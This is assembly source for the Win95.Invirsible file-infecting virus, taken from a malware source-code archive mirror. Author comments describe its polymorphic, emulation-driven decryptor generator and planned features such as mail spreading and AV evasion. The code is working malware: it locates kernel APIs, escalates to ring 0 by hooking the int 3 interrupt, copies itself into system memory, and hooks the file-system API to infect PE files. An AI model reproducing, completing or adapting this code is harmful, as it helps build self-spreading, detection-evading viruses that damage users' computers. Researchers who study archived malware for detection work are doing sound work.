mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
4174 lines
94 KiB
NASM
4174 lines
94 KiB
NASM
; Win95.Invirsible
|
||
; Bhunji
|
||
;
|
||
; proudly presents ;)
|
||
;
|
||
; Invirsible
|
||
;
|
||
; Virusinfo
|
||
; Version 2
|
||
; Size: Big, usually around 7.6k
|
||
; Infects: PE files
|
||
; Resident: Yes
|
||
; Systems; Win9x
|
||
; Polymorhic: Yes
|
||
|
||
; This is the second version on Invirsible. My goal with this virus
|
||
; is to make it as hard as possible to detect. It has one technique
|
||
; never seen in a virus before which I call the Guide technique. More
|
||
; info about this can be found at www.shadowvx.org. It carries a very
|
||
; advanced generic polymorpher. It is able to polymorph mov, add, sub
|
||
; so far but its trivial to add more instructions. The engine uses
|
||
; emulation to generate code. It is able to emulate memory and registers
|
||
; which results in code that looks very real. Coding new code to be
|
||
; polymorphed is pretty easy as it's similar to Intel asm.
|
||
|
||
; ex. mov RX1,[RX2]
|
||
; mov Random register 1, [Random register 2]
|
||
|
||
; Changes since last version
|
||
; A total rewrite of the polymorphic code. Works way better now.
|
||
; * Changed the polymorphic language to be more similar to Intel asm
|
||
; * Added memory emulation, the created code uses the end of .data segment.
|
||
; * Deleted advanced register emulation, did hardly create better code
|
||
; and was taking up lots of space.
|
||
; * Very generic, adding a new instruction needs 10 lines of data/code
|
||
; instead of 200-400 lines.
|
||
; * An optimiser that deletes the very worst code. (fx. mov eax,eax)
|
||
; * The linked list polymorpher will create a six different looking
|
||
; decryptors for the generic polymorpher.
|
||
|
||
|
||
; Some changes to the virus
|
||
; * Bugfixes. (Doesn't crash on infection :) )
|
||
; * Search for slackspace in .data segment. This space is used by the
|
||
; generated code to look more like real code.
|
||
; * Recompilation of the code before every infection to make the pointers
|
||
; point to the .data slack
|
||
|
||
; Things to be added in the future.
|
||
; * More instructions will be added to the polymorpher
|
||
; * A more powerful optimiser
|
||
; * Infect on NT too.
|
||
; * Spreading by mail
|
||
; * Infection of hlp files
|
||
; * EPO
|
||
; * Deregister the most common AV software on file but register it later in
|
||
; memory. This will not happen if the AV gives the virus its proper name.
|
||
; * A better method of upgrading the virus ala babylonia.
|
||
|
||
; And here is an example of what code the engine is able and has been
|
||
; able to generate.
|
||
|
||
; Version 1
|
||
; Version one is able to emulate/generate
|
||
; add, mov
|
||
s
|
||
; (code is taken from a generated Guide)
|
||
|
||
; mov ecx, 0Ch
|
||
; mov ebx, fs:[ecx] ; get random number
|
||
; mov edx, 0
|
||
; add edx, eax
|
||
; add eax, esi
|
||
; mov edi, 0
|
||
; add edi, 6472DAADh
|
||
; mov eax, 5A97451Fh
|
||
; mov eax, edx
|
||
; add edi, ecx
|
||
; mov ecx, 0
|
||
; add ecx, ebx
|
||
; or ecx, 8
|
||
; xor ebx, ecx ; 'and' ebx,8
|
||
; add edi, 0DCA7B4AAh
|
||
; add edi, 60E4CB5Ch
|
||
; mov edi, ebx
|
||
; add ebx, offset jumptable ; add ebx, offset jumptable
|
||
; jmp dword ptr [ebx]
|
||
|
||
|
||
; patterns
|
||
|
||
; Differences from the trash code
|
||
; fs:[register]
|
||
; or/and register,8
|
||
; jmp [register]
|
||
|
||
; The trashcode
|
||
; very few instructions
|
||
; no memory instructions
|
||
; the same amount of every emulateable instruction (normal code has more
|
||
; movs then adds for example)
|
||
; unnecessary instructions. Ex.
|
||
; mov eax, 5A97451Fh ; this is unnessesary
|
||
; mov eax, edx ; as this overwrites eax again
|
||
|
||
|
||
; Version 2
|
||
; Version two is able to emulate
|
||
; add, sub, mov, and, or, xor and memory
|
||
|
||
; Generates on average more movs then the
|
||
; adds and more adds then the other opcodes.
|
||
; Generates more registers then memory operands and
|
||
; more memory operands then numbers.
|
||
; The end result 'feels' more like regular code.
|
||
; Many many bugfixes. (There are no more bugs i hope)
|
||
|
||
; Code is taken from a generated decryptor
|
||
;
|
||
; mov edx, 8D403766h
|
||
; xor [4030D7], 1A45h ; 1a45 = virussize
|
||
; xor esi, [4030CF]
|
||
; mov [4030CF], ecx
|
||
; mov esi, 45BBA054h
|
||
; add edi, 0CCFC6B5Bh
|
||
; mov ebx, 1A45h ; first "real" instruction
|
||
; mov eax, [4030CF]
|
||
; sub edi, 1A45h
|
||
; or eax, ebx
|
||
; mov edi, 1A45h
|
||
; mov edi, 3
|
||
; add ecx, 3
|
||
; mov edx, [4030BF] ; second
|
||
; add [4030D7], eax
|
||
; mov esi, 3
|
||
|
||
; DecryptLoop:
|
||
; pusha ; will be deleted in future versions
|
||
; mov eax, 1FF5893Dh
|
||
; mov ecx, ebx
|
||
; sub eax, 0E138ABECh
|
||
; add edx, ecx ; third
|
||
; mov esi, ecx
|
||
; mov edi, ebx
|
||
; mov eax, 0D6E7BEF5h
|
||
; mov [4030CF], 5493B89Ch
|
||
; sub ecx, [4030B3]
|
||
; mov eax, 0E138ABECh
|
||
; and [4030D3], ecx
|
||
; or eax, ebx
|
||
; xor [edx], 0E138ABECh ; decrypt code
|
||
; mov [4030D7], 0E138ABECh
|
||
; popa
|
||
; sub ebx, 4 ;
|
||
; jnb DecryptLoop
|
||
; mov dword_0_4030CF, 69472C81h
|
||
; mov ecx, 0F5D970C4h
|
||
; mov edi, 1
|
||
; mov eax, dword_0_4030B7
|
||
; add ecx, 8244076Eh
|
||
|
||
|
||
|
||
|
||
; If we put the real code pieces together we get.
|
||
;
|
||
; mov ebx, 1A45h ; VirusSize
|
||
; mov edx, [4030BF] ; Where to start decrypt
|
||
; DecryptLoop:
|
||
; add edx, ecx ; third
|
||
; xor dword ptr [edx], 0E138ABECh ; decrypt code
|
||
; sub ebx, 4 ;
|
||
; jnb DecryptLoop
|
||
|
||
; The third instruction should add "Where to start" with "VirusSize" but
|
||
; as you can see it is added with ecx instead, this is because of the
|
||
; emulation. The engine knows that ecx = ebx = VirusSize so it used ecx
|
||
; instead.
|
||
|
||
; patterns
|
||
|
||
; Differences from the trash code
|
||
; pushad/popad ; easy to delete
|
||
; [Register] ; engine is only able to create [Number]
|
||
; jxx ; Engine isnt able to create jumps yet
|
||
|
||
; The trashcode
|
||
; Still to few instructions, needs push/pop, call, jmp, jxx to look at least
|
||
; something like real code.
|
||
; Memory instructions isn't able to create memory pointers with a register
|
||
; inside, eg [Number+register]. A better compiler will fix this.
|
||
; Still unnecessary instructions. Ex.
|
||
; mov eax, 0D6E7BEF5h ; this is unnessesary
|
||
; ...
|
||
; mov eax, 1FF5893Dh ; as this overwrites eax again
|
||
;
|
||
; Greetings
|
||
; (M)asmodeus. Dropper.exe has generated errors and will be closed by
|
||
; Windows :)))
|
||
; Morphi Hoppas att du f<>r det b<>ttre i helsingborg
|
||
; Prizzy Thanks for helping me with the bug
|
||
; Ruzz Yes, i have FINALY finished it :)
|
||
; Kamaileon. I wish you luck with the windows programming.
|
||
; Clau Hello sister ;)
|
||
; Urgo32 Good luck with your next virus.
|
||
|
||
|
||
|
||
|
||
includelib kernel32.lib
|
||
includelib user32.lib
|
||
include c:masmincludewindows.inc
|
||
|
||
|
||
.486
|
||
.model flat, stdcall
|
||
|
||
ExitProcess PROTO ,:DWORD
|
||
MessageBoxA PROTO ,:DWORD,:DWORD,:DWORD,:DWORD
|
||
|
||
|
||
; Primes, used them in the first version for advanced register emulation,
|
||
; might be usefull in the future
|
||
|
||
Prime1 equ 2
|
||
Prime2 equ 3
|
||
Prime3 equ 5
|
||
Prime4 equ 7
|
||
Prime5 equ 11
|
||
Prime6 equ 13
|
||
Prime7 equ 17
|
||
Prime8 equ 19
|
||
Prime9 equ 23
|
||
Prime10 equ 29
|
||
Prime11 equ 31
|
||
Prime12 equ 37
|
||
Prime13 equ 41
|
||
Prime14 equ 43
|
||
Prime15 equ 47
|
||
Prime16 equ 53
|
||
Prime17 equ 59
|
||
Prime18 equ 61
|
||
Prime19 equ 67
|
||
Prime20 equ 71
|
||
Prime21 equ 73
|
||
Prime22 equ 77
|
||
|
||
|
||
.data
|
||
VirusStr db "No crack found",0
|
||
|
||
.code
|
||
ProgramMain:
|
||
|
||
push 0
|
||
call ExitProcess
|
||
|
||
_rsrc segment para public 'DATA' use32
|
||
assume cs:_rsrc
|
||
|
||
|
||
VirusStart:
|
||
Main:
|
||
mov ebx,[esp]
|
||
|
||
push ebp
|
||
call GetDelta
|
||
|
||
GetDelta:
|
||
pop ebp
|
||
sub ebp,offset GetDelta ; address
|
||
|
||
mov [Temp+ebp],ebx ; save offset into kernel
|
||
|
||
.if ebp!=0 ; code that isn't
|
||
; executed in the first
|
||
; version
|
||
|
||
mov eax,[eax] ; polymorphic code will
|
||
mov [InfectedProgramOffset+ebp],eax ; move pointer to
|
||
.endif ; programstart in eax
|
||
|
||
lea eax,BreakPoint1
|
||
lea eax,[ebp+GetDelta] ; move some address to
|
||
mov [PointerToDataSlack+ebp],eax ; PTDS, doesnt matter as
|
||
; long as its a working one
|
||
|
||
; mov eax,fs:[0c]
|
||
db 67h,64h,0a1h,0ch,00h ; get random number
|
||
add [RandomNumber+ebp],eax ; (is not random on NT)
|
||
|
||
call GetAPIFunctions ; Get needed API functions
|
||
|
||
call FixTables ; clean the 'dirty' tables
|
||
; and allocate mem for the
|
||
; polymorpher
|
||
|
||
call CreateGuideAndDecryptor ; Generate the polymorphic
|
||
; code
|
||
|
||
call GetResident ; intercept IFSMgr to get
|
||
; filenames to infect
|
||
|
||
|
||
ReturnToHost:
|
||
|
||
push [MemPtr+ebp] ; free allocated mem used
|
||
call [LocalFree+ebp] ; by polymorpher
|
||
|
||
mov eax,[InfectedProgramOffset+ebp] ; program address
|
||
pop ebp ; restore ebp
|
||
|
||
jmp eax ; jmp to program
|
||
|
||
Topic db "You can not find what you can not see.",0
|
||
db "Invirsible by Bhunji (Shadow VX)",0
|
||
|
||
VSize equ VirusEnd-VirusStart
|
||
VirusSize equ VSize
|
||
|
||
|
||
|
||
; how much stack and mem should the polymorpher use
|
||
|
||
NumberOfOffsets equ 10 ; more size = better code
|
||
; (doesnt matter right now
|
||
; because the engine isnt
|
||
; able to create jumps)
|
||
StackSize equ 100 ; (doesnt matter right now
|
||
; because the engine isnt
|
||
; able to emulate the stack)
|
||
|
||
MemorySize equ 10 ; The more size the better
|
||
; code is produced but makes
|
||
; it harder to find a file to
|
||
; infect
|
||
|
||
|
||
LinesOfTrash equ 3 ; LinesOfTrash is the
|
||
; aproximate numbers of
|
||
; random instructions between
|
||
; every "legal" instruction
|
||
|
||
; LinesOfTrash
|
||
; Fixup instruction
|
||
; LinesOfTrash
|
||
|
||
EndValueFrecuency equ 1 ; the higher the more often
|
||
; is the EndValue chosed
|
||
; the higher the number is
|
||
; the harder is it to detect
|
||
; my looking at one
|
||
; instruction, but its easier
|
||
; to detect by looking at many
|
||
; instructions.
|
||
; 1 is a perfect value
|
||
|
||
MemPtr dd 0 ; ptr to allocated mem
|
||
ReturnAddress dd 0 ; stores the return address
|
||
; in some functions
|
||
|
||
|
||
InfectedProgramOffset dd ProgramMain ; where to jump when
|
||
; done
|
||
|
||
Temp dd 0 ; just a temporary variable
|
||
|
||
; API's the virus uses
|
||
WinFunctions:
|
||
lstrlenStr db "lstrlen",0
|
||
LocalAllocStr db "LocalAlloc",0
|
||
LocalFreeStr db "LocalFree",0
|
||
db 0
|
||
; pointers to these
|
||
Functions:
|
||
lstrlen dd ?
|
||
AllocMem dd ?
|
||
LocalFree dd ?
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
FixTables:
|
||
|
||
|
||
|
||
|
||
lea edi,[ZeroRegStart+ebp]
|
||
mov ecx,(ZeroRegEnd-ZeroRegStart)/4
|
||
xor eax,eax
|
||
rep stosd
|
||
|
||
lea edi,[RandomRegs+ebp]
|
||
mov ecx,Registers
|
||
dec eax
|
||
rep stosd
|
||
|
||
lea edi,[SavedOffsets+ebp]
|
||
mov ecx,NumberOfOffsets
|
||
rep stosd
|
||
|
||
|
||
lea eax,[EaxTable+ebp]
|
||
mov [Tables+ebp],eax
|
||
|
||
mov eax,MemorySize*20+StackSize*20
|
||
|
||
push eax
|
||
push LMEM_FIXED + LMEM_ZEROINIT
|
||
call [AllocMem+ebp]
|
||
mov [Tables+ebp+4],eax
|
||
|
||
add eax,MemorySize*20
|
||
mov [Tables+ebp+8],eax
|
||
|
||
|
||
call UndefineRegistersAndMem
|
||
|
||
xor eax,eax
|
||
lea esi,[Mem1Table+ebp]
|
||
mov edi,[Tables+ebp+4]
|
||
lodsb
|
||
|
||
|
||
mov ecx,eax
|
||
PredefinedMem:
|
||
lodsb
|
||
push edi
|
||
imul eax,eax,20
|
||
lea edi,[edi+eax]
|
||
push ecx
|
||
mov ecx,5
|
||
rep movsd
|
||
pop ecx
|
||
pop edi
|
||
loop PredefinedMem
|
||
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
UndefineRegistersAndMem:
|
||
lea edi,[EaxTable+ebp+4*4]
|
||
mov ecx,Registers
|
||
mov eax,Writeable+Undefined
|
||
|
||
SetOpcodeInfo1:
|
||
stosd
|
||
add edi,4*4
|
||
loop SetOpcodeInfo1
|
||
|
||
|
||
mov edi,[Tables+ebp+4]
|
||
add edi,4*4
|
||
mov ecx,MemorySize+StackSize
|
||
mov eax,Writeable+Undefined
|
||
|
||
SetOpcodeInfo2:
|
||
stosd
|
||
add edi,4*4
|
||
loop SetOpcodeInfo2
|
||
|
||
|
||
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
GetModuleHandle dd 0
|
||
GetProcAddress dd 0
|
||
GetProcAddressStr db "GetProcAddress",0
|
||
|
||
GetAPIFunctions:
|
||
mov eax,[Temp+ebp]
|
||
|
||
call GetModuleHandleAndProcAddress
|
||
|
||
mov [GetModuleHandle+ebp],eax
|
||
mov [GetProcAddress+ebp],ebx
|
||
|
||
xor edx,edx
|
||
lea edx,[WinFunctions+ebp]
|
||
xor ecx,ecx
|
||
|
||
CopyWinApiFunctions:
|
||
push edx
|
||
push ecx
|
||
|
||
push edx
|
||
push edx
|
||
push [GetModuleHandle+ebp]
|
||
call [GetProcAddress+ebp]
|
||
|
||
mov ecx,[esp+4]
|
||
mov [Functions+ebp+ecx],eax
|
||
|
||
call [lstrlen+ebp]
|
||
pop ecx
|
||
pop edx
|
||
add edx,eax
|
||
add ecx,4
|
||
inc edx
|
||
|
||
cmp byte ptr [edx],0
|
||
jnz CopyWinApiFunctions
|
||
NoMoreApis:
|
||
ret
|
||
|
||
; Input
|
||
; eax = somewhere in kernel
|
||
|
||
; Returns
|
||
; eax = GetModuleHandler offset
|
||
; ebx = GetProcAddress offset
|
||
|
||
GetModuleHandleAndProcAddress:
|
||
and eax,0fffff000h ; even 1000h something
|
||
|
||
FindKernelEntry:
|
||
sub eax,1000h
|
||
cmp word ptr [eax],'ZM'
|
||
jnz FindKernelEntry
|
||
|
||
|
||
mov ebx,[eax+3ch]
|
||
|
||
cmp word ptr [ebx+eax], 'EP'
|
||
jne FindKernelEntry
|
||
mov ebx,[eax+120+ebx]
|
||
add ebx,eax ; ebx -> Export table
|
||
|
||
mov ecx,[ebx+12] ; ecx -> dll name
|
||
|
||
cmp dword ptr [ecx+eax],'NREK'
|
||
jz FindGetProcAddress
|
||
jmp FindKernelEntry
|
||
|
||
|
||
; We can now be sure that eax points to the kernel
|
||
FindGetProcAddress:
|
||
lea edi,[GetProcAddressStr+ebp]
|
||
|
||
mov edx,[ebx+32]
|
||
|
||
FindFunction:
|
||
add edx,4
|
||
mov ecx,15 ; length of GetProcAddress,0
|
||
mov esi,[edx+eax]
|
||
push edi
|
||
add esi,eax
|
||
repz cmpsb
|
||
pop edi
|
||
jne FindFunction
|
||
|
||
sub edx,[ebx+32]
|
||
shr edx,1 ; ecx = ordinal pointer
|
||
|
||
lea esi,[edx+eax]
|
||
xor ecx,ecx
|
||
add esi,[ebx+36] ; esi = base+ordinals+ordnr
|
||
|
||
mov cx,word ptr [esi] ; ecx = ordinal
|
||
shl ecx,2 ; ecx = ordinal*4
|
||
add ecx,[ebx+28] ; ecx = ordinal*4+func tbl addr
|
||
|
||
mov ebx,[ecx+eax] ; esi = function addr in file
|
||
add ebx,eax ; esi = function addr in mem
|
||
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
Encryptor dd 0
|
||
|
||
GetResident:
|
||
mov eax,[GetModuleHandle+ebp]
|
||
add eax,6ch
|
||
mov ebx,'.K3Y'
|
||
cmp [eax],ebx
|
||
|
||
jz DontGoRing0
|
||
|
||
sub esp,8
|
||
sidt [esp] ; get interupt table
|
||
|
||
|
||
; hook int 3 to get get ring 0
|
||
mov esi,[esp+2]
|
||
add esi, 3*8 ; pointer to int 3
|
||
mov ebx, [esi+4]
|
||
|
||
mov bx,word ptr [esi] ; ebx = old pointer
|
||
lea eax,[Ring0Code+ebp] ; eax = new pointer
|
||
mov word ptr [esi],ax ; move new pointer to int 3
|
||
shr eax,16
|
||
mov word ptr [esi+6], ax
|
||
|
||
pushad
|
||
|
||
int 3 ; get into ring 0
|
||
popad
|
||
mov [esi],bx ; return old pointer again
|
||
shr ebx,16
|
||
mov [esi+6],bx
|
||
add esp,8
|
||
|
||
DontGoRing0:
|
||
ret
|
||
|
||
|
||
|
||
|
||
; ---------------------------------------
|
||
; -------------------------------- Ring 0
|
||
; ---------------------------------------
|
||
|
||
|
||
Ring0Code:
|
||
mov eax,[GetModuleHandle+ebp]
|
||
add eax,6ch
|
||
mov ebx,'.K3Y'
|
||
mov [eax],ebx
|
||
mov ebx,[eax+8]
|
||
mov [eax+4],ebx
|
||
|
||
mov eax,[MemoryTable+ebp]
|
||
sub eax,[GuidePos+ebp]
|
||
push eax
|
||
|
||
add eax,(MemorySize+1)*8
|
||
push eax ; push guide + decrypt size
|
||
; + special variables
|
||
add eax,(VirusEnd-VirusStart)*2+20
|
||
|
||
; allocate mem
|
||
push eax
|
||
push R0_AllocMem
|
||
mov edi,ebp
|
||
call vxd
|
||
pop ecx
|
||
test eax,eax
|
||
jz ErrorRing0
|
||
|
||
; Copy guide and decryptor to ring 0 mem
|
||
|
||
pop ecx ; ecx = guide + decrypt size
|
||
; + special variables
|
||
mov esi,[GuidePos+ebp]
|
||
mov edi,eax
|
||
mov ebx,eax
|
||
xchg ebx,[GuidePos+ebp] ; eax = new guide pos
|
||
; ebx = old guide pos
|
||
pop edx ; edx = size of guide+decrypt
|
||
add edx,eax ; edx = new memory pos
|
||
mov [MemoryTable+ebp],edx
|
||
|
||
sub eax,ebx ; difference in mem
|
||
add [DecryptorPos+ebp],eax ; add to get new pos
|
||
|
||
|
||
|
||
|
||
rep movsb ; copy polycode to ring 0
|
||
|
||
mov edi,edx
|
||
mov ecx,(MemorySize+1)*(8/4)
|
||
xor eax,eax
|
||
rep stosd
|
||
|
||
add edx,MemorySize*4+4
|
||
mov [VirtualDataSegment+ebp],edx
|
||
|
||
pushad
|
||
|
||
|
||
mov eax,[VirtualDataSegment+ebp] ; pointer to virtual data
|
||
; segment
|
||
|
||
lea edx,[Mem1Table+ebp]
|
||
movzx ecx,byte ptr [edx] ; how much data does the
|
||
; decryptor and guide need
|
||
; predefined
|
||
inc edx
|
||
|
||
CopyDataToVirtualDataSegment:
|
||
movzx ebx,byte ptr [edx] ; where in datasegment should
|
||
; we write the data
|
||
shl ebx,2
|
||
push dword ptr [edx+1] ; push the data to write
|
||
pop [eax+ebx] ; write it to virtual data seg
|
||
add edx,1+5*4 ; point to next data block
|
||
loop CopyDataToVirtualDataSegment
|
||
|
||
popad
|
||
|
||
mov [VirusInRing0Mem+ebp],edi
|
||
mov ebx,edi
|
||
|
||
lea esi, [ebp+VirusStart]
|
||
mov ecx, VirusSize
|
||
rep movsb ; copy virus to ring 0
|
||
xor eax,eax
|
||
|
||
stosd
|
||
stosd
|
||
|
||
; encrypt virus in memory
|
||
pushad
|
||
mov esi,[Encryptor+ebp]
|
||
push ebx ; pointer to virus in ring0
|
||
mov eax,esp
|
||
push eax ; pointer to pointer
|
||
push eax
|
||
push eax
|
||
push eax
|
||
mov [PointerToDataSlack+ebp],esp ; all special variables
|
||
; points to pointer to
|
||
; virus in ring 0
|
||
call Compile
|
||
|
||
call esi
|
||
|
||
add esp,5*4
|
||
|
||
popad
|
||
|
||
; copy residentcode to mem
|
||
push edi
|
||
|
||
lea esi, [ebp+ResidentcodeStart]
|
||
mov ecx, ResidentcodeEnd-ResidentcodeStart
|
||
rep movsb
|
||
|
||
|
||
|
||
|
||
|
||
; hook API function
|
||
; edi is on stack
|
||
push InstallFileSystemAPIhook
|
||
mov edi,ebp
|
||
call vxd
|
||
|
||
|
||
pop edi ; 0 edi left on stack
|
||
sub edi,ResidentcodeStart
|
||
mov [edi+BasePtr+1],edi
|
||
mov [edi+OldAPIFunction],eax
|
||
BreakPoint1:
|
||
|
||
lea eax,[edi+BreakPoint]
|
||
lea eax,[edi+BreakPoint]
|
||
iretd
|
||
|
||
ErrorRing0:
|
||
pop eax
|
||
xor eax,eax
|
||
iretd
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
CreateGuideAndDecryptor:
|
||
push 1024*1024
|
||
push LMEM_FIXED + LMEM_ZEROINIT
|
||
call [AllocMem+ebp]
|
||
|
||
mov [MemPtr+ebp],eax
|
||
|
||
|
||
|
||
|
||
|
||
|
||
mov edi,eax
|
||
lea esi,[Guide+ebp]
|
||
|
||
call LinkedListPolymorpher
|
||
call Polymorph ; create Guide
|
||
|
||
mov [GuidePos+ebp],esi
|
||
mov [GuideSize+ebp],eax
|
||
|
||
add edi,32
|
||
|
||
lea esi,[Decryptor+ebp]
|
||
|
||
call LinkedListPolymorpher
|
||
push esi
|
||
|
||
call Polymorph ; create Decryptor
|
||
|
||
mov [DecryptorPos+ebp],esi
|
||
mov [MemoryTable+ebp],edi
|
||
|
||
mov [DecryptorSize+ebp],eax
|
||
|
||
|
||
call UndefineRegistersAndMem
|
||
|
||
mov [HowMuchTrash+ebp],0
|
||
pop esi
|
||
|
||
pushad
|
||
mov edi,esi
|
||
mov eax,Op_trash
|
||
bswap eax
|
||
xor ecx,ecx
|
||
xor edx,edx
|
||
FindTrashInstruction:
|
||
inc edi
|
||
cmp [edi],edx
|
||
jz EndOfTrashInstructions
|
||
xor ecx,ecx
|
||
cmp [edi],eax
|
||
jnz FindTrashInstruction
|
||
add edi,4
|
||
push eax
|
||
xor eax,eax
|
||
stosb
|
||
pop eax
|
||
jmp FindTrashInstruction
|
||
|
||
EndOfTrashInstructions:
|
||
test ecx,ecx
|
||
jnz ReallyEnd
|
||
inc ecx
|
||
add edi,3
|
||
jmp FindTrashInstruction
|
||
|
||
ReallyEnd:
|
||
popad
|
||
add edi,eax
|
||
call MutateCode ; Generic polymorphing
|
||
|
||
mov ecx,edi
|
||
sub ecx,esi
|
||
shr ecx,1
|
||
mov edi,esi
|
||
|
||
FindDecryptInstruction:
|
||
mov eax,'R['
|
||
repnz scasw ; find [R
|
||
inc edi
|
||
mov ax,word ptr [edi]
|
||
cmp eax,',]' ; is this [Rx],
|
||
jnz FindDecryptInstruction ; if not, continue looking
|
||
|
||
and edi,0fffffff0h
|
||
mov eax,[edi]
|
||
bswap eax
|
||
|
||
.if eax==Op_xor
|
||
jmp CompileEncryptor
|
||
|
||
.elseif eax==Op_add
|
||
mov eax,Op_sub
|
||
bswap eax
|
||
stosd
|
||
jmp CompileEncryptor
|
||
.else
|
||
mov eax,Op_add
|
||
bswap eax
|
||
stosd
|
||
jmp CompileEncryptor
|
||
.endif
|
||
|
||
|
||
CompileEncryptor:
|
||
mov [Encryptor+ebp],esi
|
||
|
||
|
||
|
||
|
||
|
||
ret
|
||
|
||
|
||
|
||
|
||
; ---------------------------------------------------
|
||
; --------------------------- The generic polymorpher
|
||
; ---------------------------------------------------
|
||
|
||
; esi = Data to polymorph
|
||
; edi = where to put the created data
|
||
|
||
; Returns
|
||
; esi = start of created data
|
||
; edi = end of created data/start of created code
|
||
; eax = size of the created code
|
||
|
||
; Defined opcode looks
|
||
Op_add equ 'add '
|
||
Op_and equ 'and '
|
||
Op_mov equ 'mov '
|
||
Op_or equ 'or '
|
||
Op_sub equ 'sub '
|
||
Op_xor equ 'xor '
|
||
|
||
|
||
Op_cmp equ 'cmp '
|
||
Op_jnz equ 'jnz '
|
||
Op_jnb equ 'jnb '
|
||
Op_jna equ 'jna '
|
||
Op_jmp equ 'jmp '
|
||
|
||
Op_offset equ 'ofs '
|
||
Op_db equ 'db ' ; output whats in there,
|
||
; dont polymorph,
|
||
; dont compile
|
||
|
||
Op_dontparse equ '!emu' ; dont polymorph only
|
||
; compile
|
||
|
||
|
||
; special opcodes
|
||
Op_encrypt equ 'cpt ' ; encrypt this operand,
|
||
; used to create encryptor/
|
||
; decryptor
|
||
|
||
Op_setinfo equ 'nfo ' ; set info of operand
|
||
; used to define a operand
|
||
; changable or similar.
|
||
Op_prefix equ 'pfx ' ; prefix, eg fs:, es: and
|
||
; similar. Will be deleted
|
||
; in future versions
|
||
|
||
Op_trash equ 'trsh' ; how mush trash to be
|
||
; produced, use wisely
|
||
; to make your code better
|
||
; or when you need to save
|
||
; the flags
|
||
|
||
|
||
|
||
|
||
|
||
LinkedListPolymorpher:
|
||
call TablePolymorpher ; 'old' style polymorphics
|
||
|
||
; esi -> created data
|
||
; edi -> created data+sizeof (created data)+1
|
||
ret
|
||
|
||
Polymorph:
|
||
add edi,16
|
||
and edi,0fffffff0h
|
||
push edi
|
||
push edi
|
||
|
||
call MutateCode ; Generic polymorphing
|
||
pop edi
|
||
; esi -> created data
|
||
call Optimize ; Optimize the created code
|
||
|
||
; esi -> created data
|
||
; edi -> created data+sizeof (created data)+1
|
||
push edi
|
||
|
||
call Compile ; compile the code to get
|
||
; the size
|
||
|
||
pop edi
|
||
pop esi
|
||
ret
|
||
|
||
|
||
|
||
|
||
Regs equ 6
|
||
Registers equ Regs
|
||
InfoPtr equ 16
|
||
|
||
|
||
|
||
|
||
|
||
; This polymorher is a bit different from the usuall one.
|
||
; It's able to create code that does different things, not just
|
||
; the same with a different look.
|
||
|
||
|
||
|
||
|
||
TablePolymorpher:
|
||
; A nice recursive function :)
|
||
xor eax,eax
|
||
xor ecx,ecx
|
||
push edi
|
||
push 0
|
||
ReadInstruction: ; 'execute' function
|
||
mov cl, byte ptr [esi] ; How many bytes to output
|
||
inc esi
|
||
rep movsb
|
||
|
||
ParseCall: ; end of this function,
|
||
; should we call an other
|
||
lodsb
|
||
test eax,eax
|
||
jz ReturnFromCall ; no, return
|
||
|
||
|
||
lea ebx,[esi+eax*4]
|
||
push ebx ; push return address
|
||
|
||
call Random
|
||
mov esi,[esi+eax*4] ; address of the function
|
||
add esi,ebp
|
||
jmp ReadInstruction ; jmp to function 'executer'
|
||
|
||
ReturnFromCall:
|
||
pop esi ; return from main function
|
||
test esi,esi
|
||
jnz ParseCall
|
||
|
||
NoMoreParsing:
|
||
xor eax,eax
|
||
stosd
|
||
stosd
|
||
|
||
pop esi
|
||
ret
|
||
|
||
Decryptor:
|
||
db 0
|
||
|
||
db 1
|
||
dd R0VSize
|
||
; dd R0Zero
|
||
|
||
db 1
|
||
dd MovePoinerToProgramStart
|
||
|
||
|
||
|
||
db 0
|
||
|
||
MovePoinerToProgramStart:
|
||
db MovePoinerToProgramStartEnd-$-1
|
||
db "trsh",LinesOfTrash
|
||
|
||
db "mov R1,[N"
|
||
dd 1
|
||
db "]"
|
||
|
||
MovePoinerToProgramStartEnd:
|
||
db 0
|
||
|
||
|
||
R0VSize:
|
||
db R0VSizeEnd-$-1
|
||
db "mov RX0,N"
|
||
dd VSize
|
||
R0VSizeEnd:
|
||
|
||
db 2
|
||
dd R1VirusStart
|
||
dd R1VirusEnd
|
||
|
||
db 1
|
||
dd EncryptRX1
|
||
|
||
db 1
|
||
dd SubR0AndJump
|
||
db 0
|
||
|
||
SubR0AndJump:
|
||
db SubR0AndJumpEnd-$-1
|
||
db "db ",1 ; Bytes not to be morphed
|
||
popad
|
||
|
||
db "trsh",0
|
||
db "sub RX0,N"
|
||
dd 4
|
||
|
||
db "!emu",9 ; dont do anything about this
|
||
db "jnb N"
|
||
dd 0
|
||
SubR0AndJumpEnd:
|
||
db 0
|
||
|
||
R0Zero:
|
||
db R0ZeroEnd-$-1
|
||
db "mov RX0,N"
|
||
dd 0
|
||
R0ZeroEnd:
|
||
|
||
db 2
|
||
dd R1VirusStart
|
||
dd R1VirusEnd
|
||
|
||
db 1
|
||
dd EncryptRX1
|
||
|
||
db 1
|
||
dd AddR0AndJump
|
||
db 0
|
||
|
||
|
||
AddR0AndJump:
|
||
db AddR0AndJumpEnd-$-1
|
||
|
||
db "db ",1 ; Bytes not to be morphed
|
||
popad
|
||
|
||
db "add RX0,N"
|
||
dd 4
|
||
|
||
db "trsh",0
|
||
db "!emu",13 ; dont do anything about this
|
||
db "cmp RX0,N"
|
||
dd VSize
|
||
|
||
db "!emu",9 ; dont do anything about this
|
||
db "jna N"
|
||
dd 0
|
||
|
||
AddR0AndJumpEnd:
|
||
|
||
db 0
|
||
|
||
|
||
|
||
R1VirusStart:
|
||
db R1VirusStartEnd-$-1
|
||
db "mov RX1,[N"
|
||
dd 3
|
||
db "]"
|
||
|
||
db "ofs 0"
|
||
|
||
db "db ",1
|
||
pushad
|
||
|
||
db "nfo RX2"
|
||
dd Undefined
|
||
|
||
db "add RX1,RX0"
|
||
|
||
